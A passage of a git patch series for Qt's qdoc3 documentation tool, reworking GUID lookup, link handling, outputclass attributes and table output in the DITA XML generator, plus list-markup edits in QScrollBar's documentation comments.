ClassNode* cn, - CodeMarker* marker); - void writeMacros(const Section& s, - const ClassNode* cn, - CodeMarker* marker); + void writeParameters(const FunctionNode* fn); + void writeEnumerations(const Section& s, CodeMarker* marker); + void writeTypedefs(const Section& s, CodeMarker* marker); + void writeDataMembers(const Section& s, CodeMarker* marker); + void writeProperties(const Section& s, CodeMarker* marker); + void writeMacros(const Section& s, CodeMarker* marker); void writePropertyParameter(const QString& tag, const NodeList& nlist); private: -- cgit v0.12 From 4ea898fe70fd7a77a95c87668807f8af8342780b Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 24 Sep 2010 15:30:29 +0200 Subject: qdoc: Corrected many GUIDs. Still more to do here. --- tools/qdoc3/atom.cpp | 1 + tools/qdoc3/atom.h | 1 + tools/qdoc3/ditaxmlgenerator.cpp | 215 +++++++++++++++++++++++++++++---------- tools/qdoc3/ditaxmlgenerator.h | 11 +- tools/qdoc3/pagegenerator.cpp | 17 +++- tools/qdoc3/text.cpp | 4 +- 6 files changed, 189 insertions(+), 60 deletions(-) diff --git a/tools/qdoc3/atom.cpp b/tools/qdoc3/atom.cpp index 6f1602e..d18c3c4 100644 --- a/tools/qdoc3/atom.cpp +++ b/tools/qdoc3/atom.cpp @@ -190,6 +190,7 @@ static const struct { { "FormattingLeft", Atom::FormattingLeft }, { "FormattingRight", Atom::FormattingRight }, { "GeneratedList", Atom::GeneratedList }, + { "GuidLink", Atom::GuidLink}, { "Image", Atom::Image }, { "ImageText", Atom::ImageText }, { "InlineImage", Atom::InlineImage }, diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index 70fbae9..13df07b 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -83,6 +83,7 @@ class Atom FormattingLeft, FormattingRight, GeneratedList, + GuidLink, Image, ImageText, InlineImage, diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 921fdbc..16215cd 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -395,6 +395,7 @@ DitaXmlGenerator::DitaXmlGenerator() noLinks(0), tableColumnCount(0) { + // nothing yet. } /*! @@ -402,7 +403,11 @@ DitaXmlGenerator::DitaXmlGenerator() */ DitaXmlGenerator::~DitaXmlGenerator() { - // nothing yet. + GuidMaps::iterator i = guidMaps.begin(); + while (i != guidMaps.end()) { + delete i.value(); + ++i; + } } /*! @@ -526,7 +531,7 @@ QString DitaXmlGenerator::format() */ QString DitaXmlGenerator::writeGuidAttribute(QString text) { - QString guid = lookupGuid(text); + QString guid = lookupGuid(outFileName(),text); xmlWriter().writeAttribute("id",guid); return guid; } @@ -559,6 +564,41 @@ QString DitaXmlGenerator::lookupGuid(QString text) } /*! + First, look up the GUID map for \a fileName. If there isn't + a GUID map for \a fileName, create one and insert it into + the map of GUID maps. Then look up \a text in that GUID map. + If \a text is found, return the associated GUID. Otherwise, + insert \a text into the GUID map with a new GUID, and return + the new GUID. + */ +QString DitaXmlGenerator::lookupGuid(const QString& fileName, const QString& text) +{ + GuidMap* gm = lookupGuidMap(fileName); + GuidMap::const_iterator i = gm->find(text); + if (i != gm->end()) + return i.value(); + QString guid = QUuid::createUuid().toString(); + gm->insert(text,guid); + return guid; +} + +/*! + Looks up \a fileName in the map of GUID maps. If it finds + \a fileName, it returns a pointer to the associated GUID + map. Otherwise it creates a new GUID map and inserts it + into the map of GUID maps with \a fileName as its key. + */ +GuidMap* DitaXmlGenerator::lookupGuidMap(const QString& fileName) +{ + GuidMaps::const_iterator i = guidMaps.find(fileName); + if (i != guidMaps.end()) + return i.value(); + GuidMap* gm = new GuidMap; + guidMaps.insert(fileName,gm); + return gm; +} + +/*! This is where the DITA XML files are written. \note The file generation is done in the base class, PageGenerator::generateTree(). @@ -688,10 +728,13 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // sse writeStartElement() above break; case Atom::Code: - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); - writeText(trimmedTrailing(atom->string()), marker, relative); - xmlWriter().writeEndElement(); // + { + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); + QString chars = trimmedTrailing(atom->string()); + writeText(chars, marker, relative); + xmlWriter().writeEndElement(); // + } break; case Atom::Qml: xmlWriter().writeStartElement("pre"); @@ -1060,14 +1103,27 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, const Node *node = 0; QString myLink = getLink(atom, relative, marker, &node); if (myLink.isEmpty()) { - relative->doc().location().warning(tr("Cannot link to '%1' in %2") + relative->doc().location().warning(tr("Can't link to '%1' in %2") .arg(atom->string()) .arg(marker->plainFullName(relative))); } +#if 0 + else + qDebug() << "MYLINK:" << myLink << outFileName();; +#endif beginLink(myLink, node, relative, marker); skipAhead = 1; } break; + case Atom::GuidLink: + { +#if 0 + qDebug() << "GUID LINK:" << atom->string() << outFileName(); +#endif + beginLink(atom->string(), 0, relative, marker); + skipAhead = 1; + } + break; case Atom::LinkNode: { const Node *node = CodeMarker::nodeForString(atom->string()); @@ -3089,12 +3145,14 @@ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, text += " inherited from "; xmlWriter().writeCharacters(text); xmlWriter().writeStartElement("xref"); + // zzz text = fileName((*p).first) + "#"; text += DitaXmlGenerator::cleanRef(section.name.toLower()); xmlWriter().writeAttribute("href",text); text = protectEnc(marker->plainFullName((*p).first, relative)); xmlWriter().writeCharacters(text); xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // ++p; } xmlWriter().writeEndElement(); // @@ -3406,8 +3464,10 @@ QString DitaXmlGenerator::registerRef(const QString& ref) } else if (prevRef == ref) break; +#if 0 else qDebug() << "PREVREF:" << prevRef; +#endif clean += "x"; } return clean; @@ -3492,28 +3552,10 @@ QString DitaXmlGenerator::fileBase(const Node* node) const return result; } -/*! - Constructs a file name appropriate for the \a node - and returns the file name. If the \a node is not a - fake node, or if it is a fake node but it is neither - an external page node nor an image node, call the - PageGenerator::fileName() function. - */ -QString DitaXmlGenerator::fileName(const Node* node) -{ - if (node->type() == Node::Fake) { - if (static_cast(node)->subType() == Node::ExternalPage) - return node->name(); - if (static_cast(node)->subType() == Node::Image) - return node->name(); - } - return PageGenerator::fileName(node); -} - QString DitaXmlGenerator::refForNode(const Node* node) { const FunctionNode* func; - const TypedefNode* typedeffe; + const TypedefNode* tdn; QString ref; switch (node->type()) { @@ -3525,9 +3567,9 @@ QString DitaXmlGenerator::refForNode(const Node* node) ref = node->name() + "-enum"; break; case Node::Typedef: - typedeffe = static_cast(node); - if (typedeffe->associatedEnum()) { - return refForNode(typedeffe->associatedEnum()); + tdn = static_cast(node); + if (tdn->associatedEnum()) { + return refForNode(tdn->associatedEnum()); } else { ref = node->name() + "-typedef"; @@ -3566,12 +3608,77 @@ QString DitaXmlGenerator::refForNode(const Node* node) return registerRef(ref); } -QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) +QString DitaXmlGenerator::guidForNode(const Node* node) { - QString link; - QString fn; QString ref; + switch (node->type()) { + case Node::Namespace: + case Node::Class: + default: + break; + case Node::Enum: + return node->guid(); + case Node::Typedef: + { + const TypedefNode* tdn = static_cast(node); + if (tdn->associatedEnum()) + return guidForNode(tdn->associatedEnum()); + } + return node->guid(); + case Node::Function: + { + const FunctionNode* fn = static_cast(node); + if (fn->associatedProperty()) { + return guidForNode(fn->associatedProperty()); + } + else { + ref = fn->name(); + if (fn->overloadNumber() != 1) { + ref += "-" + QString::number(fn->overloadNumber()); +#if 0 + qDebug() << "guidForNode() overloaded function:" << ref; +#endif + } + } + } + case Node::Fake: + if (node->subType() != Node::QmlPropertyGroup) + break; + case Node::QmlProperty: + case Node::Property: + return node->guid(); + case Node::QmlSignal: + return node->guid(); + case Node::QmlMethod: + return node->guid(); + case Node::Variable: + return node->guid(); + case Node::Target: + return node->guid(); + } + return registerRef(ref); +} + +/*! + Constructs a file name appropriate for the \a node and returns + it. If the \a node is not a fake node, or if it is a fake node but + it is neither an external page node nor an image node, call the + PageGenerator::fileName() function. + */ +QString DitaXmlGenerator::fileName(const Node* node) +{ + if (node->type() == Node::Fake) { + if (static_cast(node)->subType() == Node::ExternalPage) + return node->name(); + if (static_cast(node)->subType() == Node::Image) + return node->name(); + } + return PageGenerator::fileName(node); +} + +QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) +{ if (node == 0 || node == relative) return QString(); if (!node->url().isEmpty()) @@ -3581,21 +3688,18 @@ QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) if (node->access() == Node::Private) return QString(); - fn = fileName(node); - link += fn + "#" + node->guid(); - return link; + QString fn = fileName(node); + QString link = fn; -#if 0 if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) { - ref = refForNode(node); - if (relative && fn == fileName(relative) && ref == refForNode(relative)) + QString guid = guidForNode(node); + if (relative && fn == fileName(relative) && guid == guidForNode(relative)) { return QString(); - + } link += "#"; - link += ref; + link += guid; } return link; -#endif } QString DitaXmlGenerator::refForAtom(Atom* atom, const Node* /* node */) @@ -3983,26 +4087,33 @@ QString DitaXmlGenerator::getLink(const Atom* atom, Atom* targetAtom = 0; QString first = path.first().trimmed(); - if (first.isEmpty()) + if (first.isEmpty()) { *node = relative; - else if (first.endsWith(".html")) + } + else if (first.endsWith(".html")) { *node = myTree->root()->findNode(first, Node::Fake); + } else { *node = marker->resolveTarget(first, myTree, relative); - if (!*node) + if (!*node) { *node = myTree->findFakeNodeByTitle(first); - if (!*node) + } + if (!*node) { *node = myTree->findUnambiguousTarget(first, targetAtom); + } } if (*node) { - if (!(*node)->url().isEmpty()) + if (!(*node)->url().isEmpty()) { return (*node)->url(); - else + } + else { path.removeFirst(); + } } - else + else { *node = relative; + } if (*node && (*node)->status() == Node::Obsolete) { if (relative && (relative->parent() != *node) && @@ -4075,13 +4186,13 @@ void DitaXmlGenerator::generateStatus(const Node* node, CodeMarker* marker) Atom *targetAtom = 0; if (fakeNode && node->type() == Node::Class) { QString oldName(node->name()); - targetAtom = myTree->findTarget(oldName.replace("3", ""), - fakeNode); + targetAtom = myTree->findTarget(oldName.replace("3",""),fakeNode); } if (targetAtom) { - text << Atom(Atom::Link, linkForNode(fakeNode, node) + "#" + - refForAtom(targetAtom, fakeNode)); + QString fn = fileName(fakeNode); + QString guid = lookupGuid(fn,refForAtom(targetAtom,fakeNode)); + text << Atom(Atom::GuidLink, fn + "#" + guid); } else text << Atom(Atom::Link, "Porting to Qt 4"); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index dd0d56e..f781290 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -39,10 +39,6 @@ ** ****************************************************************************/ -/* - ditaxmlgenerator.h -*/ - #ifndef DITAXMLGENERATOR_H #define DITAXMLGENERATOR_H @@ -61,7 +57,8 @@ typedef QMap ParentMaps; typedef QMap NodeMap; typedef QMap NewClassMaps; -class HelpProjectWriter; +typedef QMap GuidMap; +typedef QMap GuidMaps; class DitaXmlGenerator : public PageGenerator { @@ -107,6 +104,7 @@ class DitaXmlGenerator : public PageGenerator virtual void generateFakeNode(const FakeNode* fake, CodeMarker* marker); virtual QString fileExtension(const Node* node) const; virtual QString refForNode(const Node* node); + virtual QString guidForNode(const Node* node); virtual QString linkForNode(const Node* node, const Node* relative); virtual QString refForAtom(Atom* atom, const Node* node); @@ -250,6 +248,8 @@ class DitaXmlGenerator : public PageGenerator QString writeGuidAttribute(QString text); void writeGuidAttribute(Node* node); QString lookupGuid(QString text); + QString lookupGuid(const QString& fileName, const QString& text); + GuidMap* lookupGuidMap(const QString& fileName); virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); QXmlStreamWriter& xmlWriter(); @@ -262,6 +262,7 @@ class DitaXmlGenerator : public PageGenerator private: QMap refMap; QMap name2guidMap; + GuidMaps guidMaps; int codeIndent; bool inLink; bool inObsoleteLink; diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index 39ee98b..f4c471c 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -257,7 +257,12 @@ QString PageGenerator::fileBase(const Node *node) const return res; } -QString PageGenerator::fileName(const Node *node) const +/*! + If the \a node has a URL, return the URL as the file name. + Otherwise, construct the file name from the fileBase() and + the fileExtension(), and return the constructed name. + */ +QString PageGenerator::fileName(const Node* node) const { if (!node->url().isEmpty()) return node->url(); @@ -268,9 +273,12 @@ QString PageGenerator::fileName(const Node *node) const return name; } +/*! + Return the current output file name. + */ QString PageGenerator::outFileName() { - return QFileInfo(static_cast(out().device())->fileName()).fileName(); + return QFileInfo(static_cast(out().device())->fileName()).fileName(); } /*! @@ -302,6 +310,11 @@ void PageGenerator::endSubPage() delete outStreamStack.pop(); } +/*! + Used for writing to the current output stream. Returns a + reference to the crrent output stream, which is then used + with the \c {<<} operator for writing. + */ QTextStream &PageGenerator::out() { return *outStreamStack.top(); diff --git a/tools/qdoc3/text.cpp b/tools/qdoc3/text.cpp index 7093a43..11d7edd 100644 --- a/tools/qdoc3/text.cpp +++ b/tools/qdoc3/text.cpp @@ -144,7 +144,9 @@ QString Text::toString() const QString str; const Atom *atom = firstAtom(); while ( atom != 0 ) { - if ( atom->type() == Atom::String || atom->type() == Atom::AutoLink ) + if ( atom->type() == Atom::String || + atom->type() == Atom::AutoLink || + atom->type() == Atom::GuidLink) str += atom->string(); atom = atom->next(); } -- cgit v0.12 From 7d61e1d6d32d93fa5a023caade59f3af4923f2e8 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 27 Sep 2010 12:13:16 +0200 Subject: qdoc: Corrected output for the AutoLink case. Now many more elements are generated correctly. --- tools/qdoc3/ditaxmlgenerator.cpp | 26 +++++++++++++------------- tools/qdoc3/ditaxmlgenerator.h | 2 +- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 16215cd..9652f48 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -392,7 +392,7 @@ DitaXmlGenerator::DitaXmlGenerator() myTree(0), slow(false), obsoleteLinks(false), - noLinks(0), + noLinks(false), tableColumnCount(0) { // nothing yet. @@ -656,7 +656,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::AbstractRight: break; case Atom::AutoLink: - if ((noLinks > 0) && !inLink && !inContents && !inSectionHeading) { + if (!noLinks && !inLink && !inContents && !inSectionHeading) { const Node* node = 0; QString link = getLink(atom, relative, marker, &node); if (!link.isEmpty()) { @@ -681,8 +681,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } if (inApiDesc) xmlWriter().writeStartElement("p"); - else + else { + noLinks = true; xmlWriter().writeStartElement(SHORTDESC); + } if (relative->type() == Node::Property || relative->type() == Node::Variable) { QString str; @@ -715,6 +717,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::BriefRight: if (relative->type() != Node::Fake) { xmlWriter().writeEndElement(); // or

    + noLinks = false; } break; case Atom::C: @@ -1126,7 +1129,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::LinkNode: { - const Node *node = CodeMarker::nodeForString(atom->string()); + const Node* node = CodeMarker::nodeForString(atom->string()); beginLink(linkForNode(node, relative), node, relative, marker); skipAhead = 1; } @@ -2094,11 +2097,11 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { Text brief = node->doc().briefText(); if (!brief.isEmpty()) { - ++noLinks; + noLinks = true; xmlWriter().writeStartElement(SHORTDESC); generateText(brief, node, marker); xmlWriter().writeEndElement(); // - --noLinks; + noLinks = false; } } @@ -3610,8 +3613,6 @@ QString DitaXmlGenerator::refForNode(const Node* node) QString DitaXmlGenerator::guidForNode(const Node* node) { - QString ref; - switch (node->type()) { case Node::Namespace: case Node::Class: @@ -3633,14 +3634,13 @@ QString DitaXmlGenerator::guidForNode(const Node* node) return guidForNode(fn->associatedProperty()); } else { - ref = fn->name(); + QString ref = fn->name(); if (fn->overloadNumber() != 1) { ref += "-" + QString::number(fn->overloadNumber()); -#if 0 - qDebug() << "guidForNode() overloaded function:" << ref; -#endif + //qDebug() << "guidForNode() overloaded function:" << outFileName() << ref; } } + return fn->guid(); } case Node::Fake: if (node->subType() != Node::QmlPropertyGroup) @@ -3657,7 +3657,7 @@ QString DitaXmlGenerator::guidForNode(const Node* node) case Node::Target: return node->guid(); } - return registerRef(ref); + return QString(); } /*! diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index f781290..484ff2f 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -291,7 +291,7 @@ class DitaXmlGenerator : public PageGenerator const Tree* myTree; bool slow; bool obsoleteLinks; - int noLinks; + bool noLinks; int tableColumnCount; QMap moduleClassMap; QMap moduleNamespaceMap; -- cgit v0.12 From 6461147a04f7c230c000d2de8fbbbe336b0f8345 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 27 Sep 2010 15:00:42 +0200 Subject: qdoc: Added outputclass attribute for class summary sections. --- tools/qdoc3/ditaxmlgenerator.cpp | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 9652f48..ce140af 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1594,9 +1594,11 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark needOtherSection = true; } else { + QString attr; if (!s->members.isEmpty()) { xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","h2"); + attr = "h2 " + cleanRef((*s).name).toLower(); + xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // @@ -1606,8 +1608,9 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } if (!s->reimpMembers.isEmpty()) { QString name = QString("Reimplemented ") + (*s).name; + attr = "h2 " + cleanRef(name).toLower(); xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeCharacters(protectEnc(name)); xmlWriter().writeEndElement(); // @@ -1620,7 +1623,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } if (needOtherSection) { xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeAttribute("outputclass","h3 additional-inherited-members"); xmlWriter().writeStartElement("title"); xmlWriter().writeCharacters("Additional Inherited Members"); xmlWriter().writeEndElement(); // -- cgit v0.12 From 0385fc6ae80a324feb8e8c19e015e4a485bb56d1 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 29 Sep 2010 11:52:03 +0200 Subject: qdoc: Added outputclass attribute for sections and titles. --- tools/qdoc3/ditaxmlgenerator.cpp | 28 +++++++++++++++++++++------- 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index ce140af..c3b6fab 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1312,6 +1312,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, inSection = true; xmlWriter().writeStartElement("section"); writeGuidAttribute(Doc::canonicalTitle(Text::sectionHeading(atom).toString())); + xmlWriter().writeAttribute("outputclass","details"); break; case Atom::SectionRight: if (inSection) { @@ -1597,9 +1598,10 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark QString attr; if (!s->members.isEmpty()) { xmlWriter().writeStartElement("section"); - attr = "h2 " + cleanRef((*s).name).toLower(); + attr = cleanRef((*s).name).toLower() + " redundant"; xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // generateSection(s->members, inner, marker, CodeMarker::Summary); @@ -1608,10 +1610,11 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } if (!s->reimpMembers.isEmpty()) { QString name = QString("Reimplemented ") + (*s).name; - attr = "h2 " + cleanRef(name).toLower(); + attr = cleanRef(name).toLower() + " redundant"; xmlWriter().writeStartElement("section"); xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters(protectEnc(name)); xmlWriter().writeEndElement(); // generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); @@ -1623,8 +1626,9 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } if (needOtherSection) { xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","h3 additional-inherited-members"); + xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant"); xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h3"); xmlWriter().writeCharacters("Additional Inherited Members"); xmlWriter().writeEndElement(); // s = summarySections.begin(); @@ -2430,8 +2434,8 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, for (i = 0; i < sections.size(); ++i) { xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); xmlWriter().writeEndElement(); // generateSection(sections.at(i).members, inner, marker, CodeMarker::Summary); @@ -5337,19 +5341,29 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, if (apiDesc) { inApiDesc = true; xmlWriter().writeStartElement(APIDESC); - // zzz xmlWriter().writeAttribute("id",node->guid()); - if (!title.isEmpty()) + if (!title.isEmpty()) { + writeGuidAttribute(title); xmlWriter().writeAttribute("spectitle",title); + } + else + writeGuidAttribute("Detailed Description"); + xmlWriter().writeAttribute("outputclass","details"); } else { inSection = true; xmlWriter().writeStartElement("section"); - // zzz xmlWriter().writeAttribute("id",node->guid()); if (!title.isEmpty()) { + writeGuidAttribute(title); + xmlWriter().writeAttribute("outputclass","details"); xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters(title); xmlWriter().writeEndElement(); // } + else { + writeGuidAttribute("Detailed Description"); + xmlWriter().writeAttribute("outputclass","details"); + } } generateBody(node, marker); if (inApiDesc) { -- cgit v0.12 From 03ac8b6a7bfc0ef819cf2155e338252ca9fb77af Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 30 Sep 2010 12:13:57 +0200 Subject: qdoc: Added missing
    ; added "span" infor temporarily. There is an empty
    at the start of some xml files generated from qdoc files, but I don't think I can get rid of it. --- src/gui/widgets/qscrollbar.cpp | 39 +++++++++++++++---------------- tools/qdoc3/ditaxmlgenerator.cpp | 50 +++++++++++++++++++++++++--------------- 2 files changed, 51 insertions(+), 38 deletions(-) diff --git a/src/gui/widgets/qscrollbar.cpp b/src/gui/widgets/qscrollbar.cpp index 4ee9f27..a07e2cb 100644 --- a/src/gui/widgets/qscrollbar.cpp +++ b/src/gui/widgets/qscrollbar.cpp @@ -82,21 +82,21 @@ QT_BEGIN_NAMESPACE needs. \table - \row \i \image qscrollbar-picture.png - \i Scroll bars typically include four separate controls: a slider, + \row \o \image qscrollbar-picture.png + \o Scroll bars typically include four separate controls: a slider, scroll arrows, and a page control. \list - \i a. The slider provides a way to quickly go to any part of the + \o a. The slider provides a way to quickly go to any part of the document, but does not support accurate navigation within large documents. - \i b. The scroll arrows are push buttons which can be used to accurately + \o b. The scroll arrows are push buttons which can be used to accurately navigate to a particular place in a document. For a vertical scroll bar connected to a text editor, these typically move the current position one "line" up or down, and adjust the position of the slider by a small amount. In editors and list boxes a "line" might mean one line of text; in an image viewer it might mean 20 pixels. - \i c. The page control is the area over which the slider is dragged (the + \o c. The page control is the area over which the slider is dragged (the scroll bar's background). Clicking here moves the scroll bar towards the click by one "page". This value is usually the same as the length of the slider. @@ -134,13 +134,12 @@ QT_BEGIN_NAMESPACE value of 80. This would give us a scroll bar with five "pages". \table - \row \i \inlineimage qscrollbar-values.png - \i The relationship between a document length, the range of values used + \row \o \inlineimage qscrollbar-values.png + \o The relationship between a document length, the range of values used in a scroll bar, and the page step is simple in many common situations. The scroll bar's range of values is determined by subtracting a chosen page step from some value representing the length of the document. In such cases, the following equation is useful: - \e{document length} = maximum() - minimum() + pageStep(). \endtable @@ -153,18 +152,18 @@ QT_BEGIN_NAMESPACE ScrollBar inherits a comprehensive set of signals from QAbstractSlider: \list - \i \l{QAbstractSlider::valueChanged()}{valueChanged()} is emitted when the + \o \l{QAbstractSlider::valueChanged()}{valueChanged()} is emitted when the scroll bar's value has changed. The tracking() determines whether this signal is emitted during user interaction. - \i \l{QAbstractSlider::rangeChanged()}{rangeChanged()} is emitted when the + \o \l{QAbstractSlider::rangeChanged()}{rangeChanged()} is emitted when the scroll bar's range of values has changed. - \i \l{QAbstractSlider::sliderPressed()}{sliderPressed()} is emitted when + \o \l{QAbstractSlider::sliderPressed()}{sliderPressed()} is emitted when the user starts to drag the slider. - \i \l{QAbstractSlider::sliderMoved()}{sliderMoved()} is emitted when the user + \o \l{QAbstractSlider::sliderMoved()}{sliderMoved()} is emitted when the user drags the slider. - \i \l{QAbstractSlider::sliderReleased()}{sliderReleased()} is emitted when + \o \l{QAbstractSlider::sliderReleased()}{sliderReleased()} is emitted when the user releases the slider. - \i \l{QAbstractSlider::actionTriggered()}{actionTriggered()} is emitted + \o \l{QAbstractSlider::actionTriggered()}{actionTriggered()} is emitted when the scroll bar is changed by user interaction or via the \l{QAbstractSlider::triggerAction()}{triggerAction()} function. \endlist @@ -173,12 +172,12 @@ QT_BEGIN_NAMESPACE default focusPolicy() of Qt::NoFocus. Use setFocusPolicy() to enable keyboard interaction with the scroll bar: \list - \i Left/Right move a horizontal scroll bar by one single step. - \i Up/Down move a vertical scroll bar by one single step. - \i PageUp moves up one page. - \i PageDown moves down one page. - \i Home moves to the start (mininum). - \i End moves to the end (maximum). + \o Left/Right move a horizontal scroll bar by one single step. + \o Up/Down move a vertical scroll bar by one single step. + \o PageUp moves up one page. + \o PageDown moves down one page. + \o Home moves to the start (mininum). + \o End moves to the end (maximum). \endlist The slider itself can be controlled by using the diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index c3b6fab..2ee7a45 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -679,7 +679,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead = skipAtoms(atom, Atom::BriefRight); break; } - if (inApiDesc) + if (inApiDesc || inSection) xmlWriter().writeStartElement("p"); else { noLinks = true; @@ -1358,27 +1358,37 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, tableColumnCount = 0; } const Atom* t = atom->next(); - while ((t->type() != Atom::TableHeaderRight) && - (t->type() != Atom::TableRowRight) && - (t->type() != Atom::TableRight)) { - if (t->type() == Atom::TableItemLeft) - ++tableColumnCount; + while (t->type() == Atom::TableHeaderLeft) { + int count = 0; + t = t->next(); + while (t->type() != Atom::TableHeaderRight) { + if (t->type() == Atom::TableItemLeft) + ++count; + t = t->next(); + } + if (count > tableColumnCount) + tableColumnCount = count; t = t->next(); } xmlWriter().writeStartElement("tgroup"); xmlWriter().writeAttribute("cols",QString::number(tableColumnCount)); + inTableHeader = false; + inTableBody = false; } break; case Atom::TableRight: xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // + inTableHeader = false; + inTableBody = false; tableColumnCount = 0; break; case Atom::TableHeaderLeft: xmlWriter().writeStartElement("thead"); + xmlWriter().writeAttribute("valign","top"); xmlWriter().writeStartElement("row"); - xmlWriter().writeAttribute("outputclass","qt-style topAlign"); + xmlWriter().writeAttribute("valign","top"); inTableHeader = true; inTableBody = false; break; @@ -1387,7 +1397,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (matchAhead(atom, Atom::TableHeaderLeft)) { skipAhead = 1; xmlWriter().writeStartElement("row"); - xmlWriter().writeAttribute("outputclass","qt-style topAlign"); + xmlWriter().writeAttribute("valign","top"); } else { xmlWriter().writeEndElement(); // @@ -1402,25 +1412,28 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("tbody"); } xmlWriter().writeStartElement("row"); + xmlWriter().writeAttribute("valign","top"); if (++numTableRows % 2 == 1) - xmlWriter().writeAttribute("outputclass","odd topAlign"); + xmlWriter().writeAttribute("outputclass","odd"); else - xmlWriter().writeAttribute("outputclass","even topAlign"); + xmlWriter().writeAttribute("outputclass","even"); break; case Atom::TableRowRight: - xmlWriter().writeEndElement(); // \n"; + xmlWriter().writeEndElement(); // break; case Atom::TableItemLeft: { - if (inTableHeader) - xmlWriter().writeStartElement("entry"); - else - xmlWriter().writeStartElement("entry"); - + xmlWriter().writeStartElement("entry"); QStringList spans = 